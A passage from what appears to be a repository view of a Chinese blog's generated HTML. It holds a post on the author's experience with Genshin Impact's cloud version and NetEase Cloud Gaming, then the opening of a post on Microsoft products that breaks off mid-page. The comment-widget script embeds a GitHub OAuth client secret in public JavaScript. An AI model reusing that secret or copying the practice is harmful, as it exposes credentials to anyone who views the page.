<ul><li><a href="#起因">起因</a></li><li><a href="#云原神的体验">《云·原神》的体验</a></li><li><a href="#网易云游戏的体验">网易云游戏的体验</a></li><li><a href="#对于云游戏的展望">对于云游戏的展望</a></li><li><a href="#奇思妙想">奇思妙想</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>基础设施才是最重要的!<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前段时间,米哈游出了《云·原神》的游戏。当时《原神》出的时候我就去试着玩了玩,不过被过于难的游戏主线剧情给劝退了,我打原神也只是对它的剧情和画面比较感兴趣。一年之后他们出了云游戏,其实我对云类型的东西还是挺感兴趣的,以前也写过关于<a href="/2020/02/15/phone.html">云手机</a>和相关的<a href="/2020/03/01/plan.html">策划</a> <del>(虽然策划是同学帮着写的😂)</del> 。因为我也觉得买很好的电子产品大多时候都是闲置的,利用率很低,通过云的管理方式可以降低成本和提高利用率。可惜我当时也只是因为体验了远程桌面才想着整云手机,并没有真正的体验一下,所以《云·原神》出的时候我就去抢名额了,结果没抢上😂,不过后来他们放宽了名额,我才真正的体验了这个所谓的云游戏。</p>
<h1 id="云原神的体验">
<a href="#云原神的体验"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 《云·原神》的体验
</h1>
<p>说实话效果还是挺不错的首先云游戏最大的好处就是客户端很小不需要下载很多东西基本上可以做到即开即用第一感觉很不错。接下来延迟的效果基本上和手机版的原神几乎一样而且特效更好。不过因为宿舍带宽不太行所以只是全特效而不是高清。所以当天得到资格之后我就开始疯狂肝剧情从打“公子”一路肝到刚前往稻妻。总体体验让我对云游戏产生了信心。不过《云·原神》是限时的第一次登录会送5个小时的游玩时间之后每天登录可以送15分钟最高可以累计5个小时。所以以我的肝法很快免费的游玩时间被我用光了。体验效果确实不错但是问题在于手机端打原神真的很难受即使效果不错延迟很低但是原生的原神在手机端的体验也很差劲所以我在用完时间以后又开始体验新的云游戏平台。</p>
<h1 id="网易云游戏的体验">
<a href="#网易云游戏的体验"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 网易云游戏的体验
</h1>
<p>我在体验《云·原神》的过程中有时候也会看其他人对云游戏的体验我发现很多人会拿《云·原神》和网易云游戏做对比说米哈游还没网易良心一天15分钟的时间啥都干不了充钱我游戏都不充钱这个东西更不可能了。所以我就试了试网易云游戏平台。 </p><p>
之后我就去搜网易云游戏发现他们很良心的一点就是允许直接使用浏览器就能玩不需要下载客户端这也就是说可以不限平台假如我用ChromeBook也能随时感受到完整的电脑游戏体验而且如果花钱的话价格还行一小时最贵大概两块钱如果是玩手机游戏就更便宜了包月是一天一块钱。如果啥时候《云·原神》有电脑版那一天两块钱的价格好像还行只有手机版除了特效和一些体验还不如网易好最起码网易是所有手游都能玩。 </p><p>
所以最近几天我都在网易云游戏上体验肝了三天把主线剧情打完了然后继续打支线。不过玩过原神的人应该知道原神有些支线任务很阴间不好好天天肝或者氪金整人物好多任务都很难打。我昨天打“山中之物”的支线剧情时人给我打傻了关卡难也就算了正好当时同宿舍的人在看视频我随便一打延迟直接往1000ms上增而且基本上只有画面动的多的时候才会上升。画质我已经调到最低了但是根本玩不成一波给我气傻了于是没办法我只好放弃从此直到原神新的主线剧情出来我应该是不会再去碰它了。不好说闲了我可能会去打传说任务</p>
<h1 id="对于云游戏的展望">
<a href="#对于云游戏的展望"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 对于云游戏的展望
</h1>
<p>在这次体验中可以感受到云游戏的很多优势我买1000块钱的笔记本电脑就可以享受和5000块钱的电脑相同的游戏体验价格便宜很多当然前提是网络很好。主要是可以用时收费不像普通的电脑不用它已经花出去的钱也就那样而且还会贬值。第二是即开即用我可以不用下游戏就和去网吧一样想玩的游戏已经提前装好了无论想玩哪一款游戏点开就能玩很方便。第三就是多客户端我在手机上正在进行的游戏随时可以无缝切换到电脑上面可以让用户无论在手机、电脑、平板都能体验到相同的游戏效果。 </p><p>
不过缺点也非常的明显,那就是<strong>网络</strong>真的是太痛苦了网不好真的是没法玩所以对于网络的优化无论是网络运营商还是云游戏服务商都需要付出足够的努力。不过目前来看中国千兆普及率还是很低的5G5G就是个笑话它能比光纤快5G与互联网的连接都还是光纤呢。WiFi6不比它强主要是5G覆盖率太低了而且体验真的和4G没什么区别。所以以目前的网络水平我暂时不看好云游戏。我不知道未来的网络能发展成什么样能不能真正承载住极低的延迟和大量的数据。不过基本上大多数游戏只要延迟在100ms以内人基本上都能接受所以这其实不是技术难题而是经济问题。只要什么时候千兆可以完全普及我相信云游戏会很有前景的。</p>
<h1 id="奇思妙想">
<a href="#奇思妙想"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 奇思妙想
</h1>
<p>这正好让我联想到了PCDN如果什么时候能出个PCCP2P Cloud Computer让附近闲置的高性能电脑给其他云游戏玩家做服务然后赚点小钱想想也是个不错的选择呢。这样也能在一定程度上可以降低成本而且可以降低延迟吧毕竟租机房还是挺贵的。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E4%BA%91%E6%B8%B8%E6%88%8F"><em>云游戏</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E4%BD%93%E9%AA%8C"><em>体验</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-09-28-cloudgame.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/09/28/cloudgame.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/09/06/offlinectf.html">
上一篇:记一次线下的信息安全比赛
</a>
</span>
<br />
<span class="next">
<a href="/2021/10/23/microsoft.html">
下一篇:微软产品使用体验与感想
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/09/28/cloudgame', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/09/28/cloudgame.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

433
2021/10/23/microsoft.html Normal file
View File

@@ -0,0 +1,433 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>微软产品使用体验与感想 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="微软产品使用体验与感想" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="感觉微软还是厉害啊……" />
<meta property="og:description" content="感觉微软还是厉害啊……" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-10-23T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="微软产品使用体验与感想" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-10-23T00:00:00+08:00","datePublished":"2021-10-23T00:00:00+08:00","description":"感觉微软还是厉害啊……","headline":"微软产品使用体验与感想","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/10/23/microsoft.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/10/23/microsoft.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/10/23/microsoft.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-10-23T00:00:00+08:00">23 October 2021</time> - 字数统计5558 - 阅读大约需要17分钟 - Hits: <span id="/2021/10/23/microsoft.html" class="visitors">Loading...</span></small>
<h1 class="p-name">微软产品使用体验与感想</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sat, 23 Oct 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要分享了作者使用微软产品特别是Windows 11、WSAWindows Subsystem for Android、Windows终端、Hyper-V、WSLWindows Subsystem for Linux和Azure等的感受。作者认为Windows 11虽然UI有所改动但体验与Windows 10区别不大存在一些设计上的问题比如右键菜单简化后的不便。然而WSA体验良好Power Automate Desktop带来的自动化功能吸引人。Windows终端相比cmd有了改进支持多种Shell包括WSL和Azure Cloud Shell。作者对Hyper-V的性能和稳定性给出了较高的评价。WSL 1给作者带来了接近真实Linux环境的体验而WSL 2的性能不如预期。虽然提到Windows沙箱存在安全漏洞但总体上仍认为它功能强大且便捷。Azure学生版订阅则提供了丰富的免费资源。作者总体上对微软的产品持有积极态度。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#windows-11体验">Windows 11体验</a><ul><li><a href="#power-automate-desktop">Power Automate Desktop</a></li><li><a href="#windows终端">Windows终端</a></li><li><a href="#hyper-v">Hyper-V</a></li><li><a href="#wslwindows-subsystem-for-linux">WSLWindows Subsystem for Linux</a></li><li><a href="#windows沙箱">Windows沙箱</a></li><li><a href="#wsawindows-subsystem-for-android">WSAWindows Subsystem for Android™</a></li></ul></li><li><a href="#office">Office</a></li><li><a href="#visual-studio-code">Visual Studio Code</a></li><li><a href="#github">GitHub</a><ul><li><a href="#github-pages">Github Pages</a></li><li><a href="#github-actions">Github Actions</a></li><li><a href="#github-web-editor">Github Web Editor</a></li><li><a href="#github-education">Github Education</a></li></ul></li><li><a href="#azure">Azure</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>感觉微软还是厉害啊……<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前段时间微软发布了WSAWindows Subsystem for Android™Nightly版。之前Windows 11正式版刚出的时候我就对WSA很期待了所以当时正式版刚出的时候我都等不到Windows Update给我推送了直接去官网上下载镜像升级了。现在终于等到可以安装WSA的时候我就立马从<a href="http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/433b1665-c732-486a-99ee-e2c610cd10d4">官网</a>下载了安装包并且进行了安装体验。最终效果还是挺不错的,所以今天我打算把我用过的所有微软产品使用的经历谈一谈。</p>
<h1 id="windows-11体验">
<a href="#windows-11体验"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Windows 11体验
</h1>
<p>其实我对Windows 11本身不是很期待因为看过效果之后感觉就好像只是改了改UI而已整体使用体验似乎和Windows 10区别不大。除了那个右键菜单感觉是真的越改越烂那个东西好不好看其实都是次要的关键是功能少而且描述也不清晰。比如任务栏右键就一个任务栏设置正常人谁会在意那任务栏设置把我任务管理器给整没了要用鼠标打开任务管理器就只能右键⌈开始⌋菜单不是很友好。另外右键文件的时候很多其他程序的选项被隐藏到了“显示更多选项”里面我要是想用7-zip或者是Notepad++就要进行两步操作非常的反人类。还有就是那个复制剪切粘贴以及重命名等操作它就一个图标一眼看过去半天反应不过来。我真的是无言以对微软的UX设计师都被阿三吃了吗 </p><p>
不过有些新增的功能还是挺不错的虽然Windows本身有很多难以言说的地方不过各种功能还是挺不错的。</p>
<h2 id="power-automate-desktop">
<a href="#power-automate-desktop"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Power Automate Desktop
</h2>
<p>安装了Windows 11之后它们会预装一个叫做Power Automate Desktop的软件。之前我在用Office 365 E5开发者试用订阅的时候有用过在线版的Microsoft Power Automate(以前称为 Microsoft Flow)那个也挺有意思的可以给自己订阅比如说天气预报或者是RSS新闻之类的算是给非开发人员整的自动化软件吧像正常的开发者貌似写代码还要比那个简单些。现在变成桌面端之后功能更强大了用起来感觉有点像苹果的快捷指令不过配合Windows的命令能做的事情要比快捷指令要多很多。就光这一点就足够吸引我同学升级Windows 11了足以说明它的强大。</p>
<h2 id="windows终端">
<a href="#windows终端"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Windows终端
</h2>
<p>虽然说Windows终端在Windows 10的时候就可以从应用商店里下载了不过现在它到Windows 11中成为了预装的软件。使用体验和各大Linux系统发行版的终端模拟器有点像不过因为Windows的Shell种类繁多功能也比一般的Linux发行版强大一些。从体验效果来说虽然改动不大但是已经算是很优秀了至少比之前的cmd窗口要好很多。它支持的Shell除了Powershell和传统的cmd之外还支持WSL和Azure Cloud Shell尤其是Azure Cloud Shell简直就相当于白嫖一台Linux系统的云电脑啊虽然说它用到的Azure块存储理论上是要收一定费用的不过我有学生认证所以无所谓</p>
<h2 id="hyper-v">
<a href="#hyper-v"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Hyper-V
</h2>
<p>我当年知道Windows 10有Hyper-V之后就再也没有用过VMWare了。虽然说Hyper-V有些地方确实有缺陷比如没办法连接USB设备但是它的性能确确实实在几个桌面端虚拟机中是最好的不算图形性能。我之前在Hyper-V里面安装了Kali Linux和使用VMWare以及VirtualBox的人一起比虚拟机的启动速度基本上同等配置或者更高配置下Hyper-V都是速度最快的足以证明它运行效率非常不错。不过也能理解毕竟其他虚拟机都要通过Windows内核来访问虚拟化指令而Hyper-V是直接由Windows内核访问那些指令的速度自然会快很多。而且以我目前使用的经历来看安装VMWare的人经常会出现莫名其妙的故障比如使用虚拟机还能把物理机整蓝屏就非常的离谱Hyper-V我用这么长时间从来没有遇到过什么奇奇怪怪的问题可以证明它的稳定性也非常不错。再加上Windows很多特性会使用Hyper-V比如基于虚拟化的安全、WSL 2、Windows沙箱、容器、WSA等等所以早日抛弃其他乱七八糟的虚拟机一起使用Hyper-V吧。</p>
<h2 id="wslwindows-subsystem-for-linux">
<a href="#wslwindows-subsystem-for-linux"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> WSLWindows Subsystem for Linux
</h2>
<p>在WSL出来之前我也用过像Cygwin这样的Linux模拟环境但是因为实际上并不能执行Linux程序所以使用起来还是不太行真正用的时候还是得用虚拟机。但是WSL出了之后就不一样了它是通过底层对Linux执行文件进行转换所以除了内核之外其他文件都是真正的Linux程序用起来的效果也真的和Linux环境一模一样而且占用内存极低像直接打开Ubuntu仅占连10MiB都不到的内存非常不错。 </p><p>
后来他们出了WSL 2不过WSL 2就没内味了因为WSL 2是虚拟机虽然可以读写Windows的文件但是既然是虚拟机即使是用高端Hyper-V整的轻量级虚拟机占用内存也要比WSL 1高很多所以不太行而且我也用不到什么namespace之类的高级功能所以就一直使用WSL 1了。</p>
<h2 id="windows沙箱">
<a href="#windows沙箱"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Windows沙箱
</h2>
